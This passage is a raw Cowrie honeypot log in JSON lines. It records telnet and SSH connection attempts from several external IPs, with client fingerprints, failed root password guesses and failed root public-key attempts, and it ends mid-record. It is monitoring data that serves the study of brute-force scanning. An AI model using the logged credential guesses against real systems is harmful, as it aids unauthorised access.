{"eventid":"cowrie.session.closed","duration":120.00734853744507,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:31.795840Z","src_ip":"152.42.224.71","session":"bd440b6bcbb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.92467975616455,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:33.370934Z","src_ip":"152.42.224.71","session":"8a379385a61e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51196,"dst_ip":"10.17.0.5","dst_port":23,"session":"413b915cb4a8","protocol":"telnet","message":"New connection: 152.42.224.71:51196 (10.17.0.5:23) [session: 413b915cb4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:38.971958Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":54522,"dst_ip":"10.17.0.5","dst_port":22,"session":"e137d6d6408c","protocol":"ssh","message":"New connection: 77.94.47.83:54522 (10.17.0.5:22) [session: e137d6d6408c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:39.517992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:39.523526Z","src_ip":"77.94.47.83","session":"e137d6d6408c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:39.654720Z","src_ip":"77.94.47.83","session":"e137d6d6408c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satan666","message":"login attempt [root/satan666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:40.042876Z","src_ip":"77.94.47.83","session":"e137d6d6408c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:41.174660Z","src_ip":"77.94.47.83","session":"e137d6d6408c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00417184829712,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:43.855480Z","src_ip":"152.42.224.71","session":"7f0ab549cd58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.450796365737915,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:47.677129Z","src_ip":"152.42.224.71","session":"9a5bc7d30c25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38370,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf76ab36d1f","protocol":"telnet","message":"New connection: 152.42.224.71:38370 (10.17.0.5:23) [session: fdf76ab36d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:52.312045Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53474,"dst_ip":"10.17.0.5","dst_port":22,"session":"c68c61f5f84c","protocol":"ssh","message":"New connection: 103.153.68.219:53474 (10.17.0.5:22) [session: c68c61f5f84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:55.361001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:55.365423Z","src_ip":"103.153.68.219","session":"c68c61f5f84c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:55.614636Z","src_ip":"103.153.68.219","session":"c68c61f5f84c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"holopi123","message":"login attempt [root/holopi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:56.364050Z","src_ip":"103.153.68.219","session":"c68c61f5f84c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:57.617072Z","src_ip":"103.153.68.219","session":"c68c61f5f84c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":39918,"dst_ip":"10.17.0.5","dst_port":22,"session":"abbd60eeda34","protocol":"ssh","message":"New connection: 194.113.233.25:39918 (10.17.0.5:22) [session: abbd60eeda34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:59.757694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:59.761597Z","src_ip":"194.113.233.25","session":"abbd60eeda34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:37:59.855404Z","src_ip":"194.113.233.25","session":"abbd60eeda34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3151020","message":"login attempt [root/3151020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:00.179911Z","src_ip":"194.113.233.25","session":"abbd60eeda34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:01.277095Z","src_ip":"194.113.233.25","session":"abbd60eeda34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.660037994384766,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:04.423424Z","src_ip":"152.42.224.71","session":"718b2da6022c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43154,"dst_ip":"10.17.0.5","dst_port":23,"session":"e31c7a8420eb","protocol":"telnet","message":"New connection: 152.42.224.71:43154 (10.17.0.5:23) [session: e31c7a8420eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:05.733100Z"}
{"eventid":"cowrie.session.closed","duration":41.29289674758911,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:06.062384Z","src_ip":"152.42.224.71","session":"76f2579f8217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.439603328704834,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:07.708698Z","src_ip":"152.42.224.71","session":"c965691d8985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744689226150513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:09.716522Z","src_ip":"152.42.224.71","session":"413b915cb4a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.70.122.120","src_port":50024,"dst_ip":"10.17.0.5","dst_port":22,"session":"358d77613f05","protocol":"ssh","message":"New connection: 193.70.122.120:50024 (10.17.0.5:22) [session: 358d77613f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:18.997044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.002108Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.088116Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:02:9e:6b:57:d8:d8:5d:1d:27:a4:fd:6b:30:d0:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFVZn/KDhhKGGTuchcmBz7E84Bh4O1sGiD1MNg8RMhH/xfRJ88h+yVAmJwmVrdOzhQW2WolQ9rstvNoq3Avi1FlLgilysqYdf0qQPfYl0GyIC6OIt3ZDJKQSpgLG/S+GJsqbsYmT5G4t1EfH+xvyJVZxhoktHYAUCofAY7KYlTiM1VH3EdasxYp8C2yGgm9ao5BR+KOw2qW9+XjTJy/vEL01iix2017GoR9ZbA884NTYeSPHKoynKjgtVL8VqkGiZlK43/qAHRx4YHWUoX6ViK9HSMu1K7nyTCub7Q2CsZ+0gohNA0GTcIVz9Zm6leJ2Mgg73U8au5fhJj9bbIo4ob","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:02:9e:6b:57:d8:d8:5d:1d:27:a4:fd:6b:30:d0:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.492775Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:02:9e:6b:57:d8:d8:5d:1d:27:a4:fd:6b:30:d0:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFVZn/KDhhKGGTuchcmBz7E84Bh4O1sGiD1MNg8RMhH/xfRJ88h+yVAmJwmVrdOzhQW2WolQ9rstvNoq3Avi1FlLgilysqYdf0qQPfYl0GyIC6OIt3ZDJKQSpgLG/S+GJsqbsYmT5G4t1EfH+xvyJVZxhoktHYAUCofAY7KYlTiM1VH3EdasxYp8C2yGgm9ao5BR+KOw2qW9+XjTJy/vEL01iix2017GoR9ZbA884NTYeSPHKoynKjgtVL8VqkGiZlK43/qAHRx4YHWUoX6ViK9HSMu1K7nyTCub7Q2CsZ+0gohNA0GTcIVz9Zm6leJ2Mgg73U8au5fhJj9bbIo4ob","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.496398Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:f3:ff:99:c4:33:90:39:bc:fc:96:26:79:3e:c5:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI1M3Av2K/V14On+R3CGhk0OucHj4iFnosGfEjwlY2rkSp401yPwHPLeEGedntrtNaAHCS98UXBsOiPVDXJcGnYmrTBtGxg6X5Rb9yKfNU7K0V+mK09oRFSNk9IBRuZqEp18tXUcCiBGYaXAqIrXEGtnGLPDtIZ3qExLg+IYxdY91dA6kxVVrlawW3xK7pa8vo9WkBgasDa49s2MEAcxogzHOlHZYmeVjRMdgNPWIpt4V2UTjOMA6IwdE7HClO6FPUEclBColcKMrjdI1Fdq4y0cYeWHMxLZx9/bvuN9MjMgBnRUdLZ88l2yeGVtwUPT6jNBaWzW6jdOop2gu1FZqcIjH54gxdJa+XwxDQzBMu3C0Q9xl/m5ht8EbHu30e7trOLrHcIvYbXRfZ0888nA4reIOTXAUzgDZeQJ8UhmPLU4K3iDb5vxuYAisqrFGpdBozwZYiteurO/+9rTdxldhPOMXd8JpFPtlixoD+1Vy6CKgAKpE6rK5G6TjlAc2cvYKqMmGEX/4EITm5DSSGHFeOmMuyDP+esIHsr+/WLer+ImihYcoT5OT42QGSmT1RnkRTLD2Lhm+dQ10ZSWyGorMHZEXLcSmv2oQAlW1/husDQTmolt2JJdug4v0Ewyj+K/tjn1kHUn/Z80KUenpWY67st3bQgmcJcFAIiVfX/detSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:f3:ff:99:c4:33:90:39:bc:fc:96:26:79:3e:c5:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.582253Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:f3:ff:99:c4:33:90:39:bc:fc:96:26:79:3e:c5:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI1M3Av2K/V14On+R3CGhk0OucHj4iFnosGfEjwlY2rkSp401yPwHPLeEGedntrtNaAHCS98UXBsOiPVDXJcGnYmrTBtGxg6X5Rb9yKfNU7K0V+mK09oRFSNk9IBRuZqEp18tXUcCiBGYaXAqIrXEGtnGLPDtIZ3qExLg+IYxdY91dA6kxVVrlawW3xK7pa8vo9WkBgasDa49s2MEAcxogzHOlHZYmeVjRMdgNPWIpt4V2UTjOMA6IwdE7HClO6FPUEclBColcKMrjdI1Fdq4y0cYeWHMxLZx9/bvuN9MjMgBnRUdLZ88l2yeGVtwUPT6jNBaWzW6jdOop2gu1FZqcIjH54gxdJa+XwxDQzBMu3C0Q9xl/m5ht8EbHu30e7trOLrHcIvYbXRfZ0888nA4reIOTXAUzgDZeQJ8UhmPLU4K3iDb5vxuYAisqrFGpdBozwZYiteurO/+9rTdxldhPOMXd8JpFPtlixoD+1Vy6CKgAKpE6rK5G6TjlAc2cvYKqMmGEX/4EITm5DSSGHFeOmMuyDP+esIHsr+/WLer+ImihYcoT5OT42QGSmT1RnkRTLD2Lhm+dQ10ZSWyGorMHZEXLcSmv2oQAlW1/husDQTmolt2JJdug4v0Ewyj+K/tjn1kHUn/Z80KUenpWY67st3bQgmcJcFAIiVfX/detSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.586224Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:a5:a5:0a:36:2a:ff:eb:79:8c:0c:7d:6f:e6:a7:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz/xesZj2Ga79dl/p1msOc2PMA9XZXf/YbCtu39aGoE90+Jp66T1gUWHAcSFssbk57wwvxfnBvF06W42lKgn9DwGH4OISqBKv1TZdAnP1Dx87TOfddBPdhxYJGNTH23pqG5EVmWmHIw5kqtse+6/MXwVR1aYdzkM+2yAwJUSl5lDrsFy462FjovOs58myR3JGEJ0j/ZGRJLpewtkZpF6REsK/RYFf8DKtf2up2feMO76pOfx/mkDVr5ONqjam9XjjAD+q/pKTiKBJ8tvf4JQEgdbYWdkP8ZP4rKmK3mFXbzsFJFpC5UsxHYbB6fznLsdwZ5KHlcT/7HJpjPPTJULfvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:a5:a5:0a:36:2a:ff:eb:79:8c:0c:7d:6f:e6:a7:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.672360Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:a5:a5:0a:36:2a:ff:eb:79:8c:0c:7d:6f:e6:a7:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz/xesZj2Ga79dl/p1msOc2PMA9XZXf/YbCtu39aGoE90+Jp66T1gUWHAcSFssbk57wwvxfnBvF06W42lKgn9DwGH4OISqBKv1TZdAnP1Dx87TOfddBPdhxYJGNTH23pqG5EVmWmHIw5kqtse+6/MXwVR1aYdzkM+2yAwJUSl5lDrsFy462FjovOs58myR3JGEJ0j/ZGRJLpewtkZpF6REsK/RYFf8DKtf2up2feMO76pOfx/mkDVr5ONqjam9XjjAD+q/pKTiKBJ8tvf4JQEgdbYWdkP8ZP4rKmK3mFXbzsFJFpC5UsxHYbB6fznLsdwZ5KHlcT/7HJpjPPTJULfvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.676866Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:3b:77:a5:2c:cb:e3:2a:55:f3:ce:da:51:db:04:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe/kfKnXJd609NY0zzc24Evkh8TL8QClr2KRTbPQ7Lmjgtzg0Ppj9JXb7N8muxxrHzyoFmKDLA8EecxO8Hd3AxET4VvPH4gSa+P8xHHdTjPdsQYxTZvQdWXt+8nm6nDfzsWqHgARoZo1MwrTFDXDP8NBkJv9ZlRhifDkpWnF46JebslNG+qQnMnDQePrOl0Ye8x7w2W1k4ntdERhuQzY4xZ1YkQHg0J28OUriRvtQqHzBwl1CUIxz9ZjG7orB+y31Zgp4ADjs/4nfqqtdm1t5Px59jljYh8WPsrpagVhSl/uuNWA368dkqV74MJMm+gPFpHq+MBQkfBJDmnapk7Fmf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:3b:77:a5:2c:cb:e3:2a:55:f3:ce:da:51:db:04:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.765898Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:3b:77:a5:2c:cb:e3:2a:55:f3:ce:da:51:db:04:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe/kfKnXJd609NY0zzc24Evkh8TL8QClr2KRTbPQ7Lmjgtzg0Ppj9JXb7N8muxxrHzyoFmKDLA8EecxO8Hd3AxET4VvPH4gSa+P8xHHdTjPdsQYxTZvQdWXt+8nm6nDfzsWqHgARoZo1MwrTFDXDP8NBkJv9ZlRhifDkpWnF46JebslNG+qQnMnDQePrOl0Ye8x7w2W1k4ntdERhuQzY4xZ1YkQHg0J28OUriRvtQqHzBwl1CUIxz9ZjG7orB+y31Zgp4ADjs/4nfqqtdm1t5Px59jljYh8WPsrpagVhSl/uuNWA368dkqV74MJMm+gPFpHq+MBQkfBJDmnapk7Fmf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:38:19.769794Z","src_ip":"193.70.122.120","session":"358d77613f05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:bb:3d:6d:76:54:a1:62:45:16:47:a2:72:39:18:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3HTw3EYv3Qmcc0X2dkwQQ+DkmBwc4zRG0kStLKQsX4pUhb3O20Big1BrBstq52cxRz6wS3toVkEabIMQfsJcsRbM7YOMbApHINYmGFlyw9uxjUgJbvcdH8FXTKeFVyyRTb54IWBLw4mlcjI/3J2Hy/gJWiFtI/I+hAk7aEuA/M9zBcXC31xmUkt0leUQNmWg3rGLEKU6gZR+9apAaN1zJBZPEImfo0egsQvK0FPUiUEXv+ws+oTEpsaWbfL7KDr8Dw5/2taUkalCwaWZVCwJ7fC9nQ5LngqTHJ5S95vJK549i8C9kVwlld0pAo6oGldAKRUc5NO4JaIpzUcgpLk11","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 